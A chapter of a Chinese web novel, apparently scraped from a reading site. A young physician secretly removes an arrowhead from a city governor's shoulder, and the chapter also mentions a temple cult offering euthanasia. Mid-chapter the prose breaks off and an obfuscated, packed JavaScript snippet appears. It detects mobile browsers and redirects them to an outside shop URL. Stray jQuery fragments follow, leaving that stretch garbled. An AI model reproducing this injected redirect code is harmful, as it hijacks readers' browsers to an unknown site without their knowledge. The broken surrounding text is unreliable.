21. 登门拜访

作品:《江湖睿幄忆平生

    “她才来几天啊,一个月不到呢,能有什么举措。”


    唐逸鸣想了想,停下手里的练习,又说:“但是下个月的祭神节,好像城主拨了些银子支持。”


    “什么?!”梁生忆发出唢呐般刺耳的声音,“就那个青面獠牙的邪神?钟禺居然拨银子给他们举办祭祀?”


    唐逸鸣看起来也不理解,叹了口气,语气中带着淡淡的失望:“是啊。”


    宣源城的穷苦,很大程度上是天灾人祸导致的。不合理的耕作制度导致农田肥力下降,干旱不断导致收成不好,城主贪污导致赈灾只做了表面工作,救助不当。


    钟禺来的那一天,梁生忆以为她会带领百姓改良农田,引渠灌溉,把当初她在华昂殿殿试时的雄心壮志都施展一番……没想到她居然加入了这种害人的迷信活动。


    梁生忆百思不得其解。


    午饭时,店铺只留了一人在前铺看店,其余人都在饭堂用膳。


    雪汝药庄宣源城分店之前除了徐玉疏只有两男两女。此时那个留在前铺看店的男子带着一个小厮装扮的人急匆匆地跑了进来,禀告徐玉疏:“掌柜的,城主大人偶感风寒,想请您去看看。”


    宣源城自然是不缺医馆的,专程来雪汝药庄,说明看得起雪汝药庄,也认可她的实力。


    徐玉疏放下碗筷就要动身。


    梁生忆也跟着放下碗筷,主动请缨道:“掌柜的,我去吧,我跟钟城主是旧相识,正好叙叙旧。”


    徐玉疏不知道她们怎么认识的,但她不可能答应:“胡闹,让一个初级学徒去,别人以为我们药庄没人了呢。”


    梁生忆仍旧不放弃:“我的医术你是知道的,解捷平的手就是我缝的针呢。”


    解捷平闻言,嘴巴里包着饭,也赶紧举起手展示。


    徐玉疏妥协道:“那你跟着我去看看吧,在旁边学习学习。”


    唐逸鸣听了,也跟着放下碗筷,抹了抹嘴巴道:“她能去那我也要去。”


    小厮在一边焦急地跺脚:“几位大人,咱们抓紧时间吧,别磨叽了!”


    徐玉疏笑着道歉,赶紧去拿药箱。


    梁生忆眉头一皱,却觉得有些不对劲:若只是偶感风寒,这小厮何故这般着急?难道钟禺出什么事了?


    几人坐上马车,小厮一路快马加鞭,赶到了城主府。


    马车上的其他人也察觉到了不对劲,此趟行程必定不简单。


    三人跟着小厮来到绕过前厅,来到后院钟禺的住所。


    她此时正躺在床上,变色苍白,额头冒出丝丝冷汗。


    徐玉疏连忙上前把脉。陆筝在一旁焦急地看着。


    小厮被摒退之后,徐玉疏也放下了钟禺的手腕,根据她虚弱的情况提起纸币在一旁开药方。


    梁生忆看着钟禺痛苦难忍的病容,在一边蹙眉开口道:“应该是外伤吧,方便我查看一下吗?”


    陆筝惊诧地看向她,点点头道:“是后肩。”


    梁生忆眼神一凛,不可置信道:“后肩受伤你们还敢让她这么躺着?!”说着赶忙上前把钟禺扶起来。


    钟禺迷迷糊糊地睁开了眼,看见梁生忆,像是看见了冬日里的阳光,绽开了一个虚弱的笑容。


    而后她对旁边人说:“劳烦诸位去门外等候,留梁大夫在这里就好了。”


    陆筝抬手相送,徐玉疏和唐逸鸣只得先出去,在前厅等候。


    钟禺这才放手让梁生忆查看伤势,脸上仍然带着淡淡的虚弱的微笑:“劳烦梁太医了。”


    梁生忆不知道她把人都遣出去干什么,自己连个帮手都没有。还好徐玉疏把自己的药箱留给了她。


    打开里衣,梁生忆轻轻拆开浸满鲜血的厚厚的细布。


    果然不出梁生忆所料:箭杆虽断,但箭头还在里面埋着,箭头后面两个锋利的刃翼,牢牢地勾住皮肉,一般人肯定不敢拔出来。


    梁生忆看得头皮发麻,不禁感叹道:“钟禺,你果然还是我认识的那个钟禺。”还是这么能忍。


    梁生忆拿出药箱里的麻醉针,之前徐玉疏跟她介绍过,她不知道雪汝山庄的麻醉针功效如何,如今正好试试。但保险起见,还是刺了几个针麻用穴。


    梁生忆拿出工具,准备取出箭头。


    开始之前,她问了一句钟禺:“可能会很疼,需不需要叫人来把你打晕什么的?”


    钟禺像是听到了什么笑话似地看了她一眼,声音轻柔却坚定:“不用了,我能忍住。”


    梁生忆咽了口唾沫,只能开始动手。


    “唔!”钟禺牙齿咬住下唇,发出难忍的闷哼,额头的细汗打湿了发丝。


    梁生忆动作依旧,第无数次感慨这家伙真是个狠人。


    取出血淋淋的箭头,梁生忆又熟练地缝合,并把伤口轻轻包扎好。


    拔出银针收好后,梁生忆看了眼徐玉疏开的药方,确认没问题之后说:“最近尽量平躺,不要侧躺,药按我们掌柜的抓就行。半月之后记得找我来复查。”


    钟禺躺在床上,朝梁生忆扯出一个虚弱的微笑,正要道谢,就被梁生忆按住了。


    梁生忆背起药箱道:“不用了,你好好休息吧,最近工作也别太辛苦。我的建议是最好别忙公务,但我知道你肯定做不到。那退而求其次,最近就别提笔写字了,能口述的就口述,相信衙门的书吏也不是吃白饭的。”


    钟禺冲她感激地点点头,目送她离开。


    回去的马车上,唐逸鸣激动地抓住梁生忆的胳膊,问:“钟大人怎么了?她受什么伤了?”


    梁生忆知道钟禺之所以支开两人,就是不愿意让太多人知道这件事,于是她也没透露,只是问道:“钟禺来了宣源城有招惹什么人吗?或者说她有什么仇家吗?”


    唐逸鸣思考了半天:“没有啊,据我所知,钟城主上任以来一直恪尽职守,也不苛待下人。虽然城中有几家世家有意与她结识,但钟城主一视同仁,把他们送的礼都还回去了。”


    梁生忆不太懂官场做派,摸着下巴思考:难道把送的礼还回去也会得罪人?还会招上找刺客上门杀人的那种仇家?</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368403|153053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    徐玉疏并不加入她们的谈话,只是默默听着。


    马车摇摇晃晃,秋风萧瑟,天气变化不停,小雪也渐渐飘了下来。


    天气一夜入冬,药庄给每个人赶制了两套棉衣。


    一眨眼到了复查的日子,小厮如约前来,这次是点明了要请梁生忆。


    徐玉疏担心她一个人去不安全,派了唐逸鸣跟她一同前往。


    街道上挂上了各种红绿色的装饰,神庙里门庭若市。


    “怎么这么多人啊?”梁生忆撩起车帘,看着那一张纸痴迷不悟的脸,想起了当初梁家村的村民们。


    唐逸鸣瞟了一眼,漫不经心道:“那神庙据说能让人失去痛苦,登上极乐,早日投个好胎。”


    梁生忆好奇道:“怎么登?”


    唐逸鸣薄唇轻启,吐出几个字:“安乐死。”


    梁生忆被巨大的震惊包裹,半天说不出话来。


    梁生忆:“所以他们前仆后继,就是为了去送死?”


    唐逸鸣:“是啊,百姓生活无望,也无力挣扎,只想早日解脱,下辈子投个好胎。存了点钱,全被这些邪神歪庙骗去了。”


    唐逸鸣又补充道:“这个月的祭祀,估计就是很多人安乐死的时候了。”


    梁生忆心中无奈,不忍再听。


    到了城主府,梁生忆帮钟禺拆下了细布,查看了伤势的恢复情况。


    “以后不用再包扎了,就这样恢复吧。再过一段时间,恢复好的话就可以拆线了。”梁生忆道。


    钟禺脸色依旧苍白,温声道谢:“多谢。”


    梁生忆在收拾药箱时,钟禺出口挽留道:“可否留下喝杯茶?”


    梁生忆正有此意,欣然应允道:“当然。”


    清浅的茶水从茶壶中流出,在茶杯中流转。钟禺端起一杯,放到梁生忆面前。


    梁生忆端在手里,暖呼呼的热茶下肚,暖和了几分。


    她开口问道:“你可曾记得,当初殿试时你在华昂殿说的那些话?”


    钟禺继续斟茶,动作柔缓:“要想在历史上留下一个名字太难了,这么多年过去,我终于明白一个道理:原来我们都是蝼蚁。”


    她不急不慢道:“兜兜转转,我只想在宣城做一个好官。”


    梁生忆毫不留情地拆穿:“你不想做一个好官,你只想安身立命。”


    钟禺忽然张口笑了,眼神戏谑地看向梁生忆:“百姓喜欢的官、百姓爱戴的官,难道不算好官吗?再者说,在这乱世中也,能够安身立命,保全性命,已经花光如芥所有的力气了。”


    梁生忆懂,她怎么会不懂?


    在皇宫时,她正是这般模样。


    如今旁观者清,方知唐逸鸣看她时是如此痛心。


    她的手攥紧茶杯,喉咙干涩道:“我还是不习惯你自称如芥。”说完端起茶杯猛灌了一口。


    钟禺似乎是愣住了,眼神呆了半天,才笑道:“一开始我也不习惯,听得多了,也就习惯了。”说着眼神往空中飘去,笑容里也多了些许悲伤。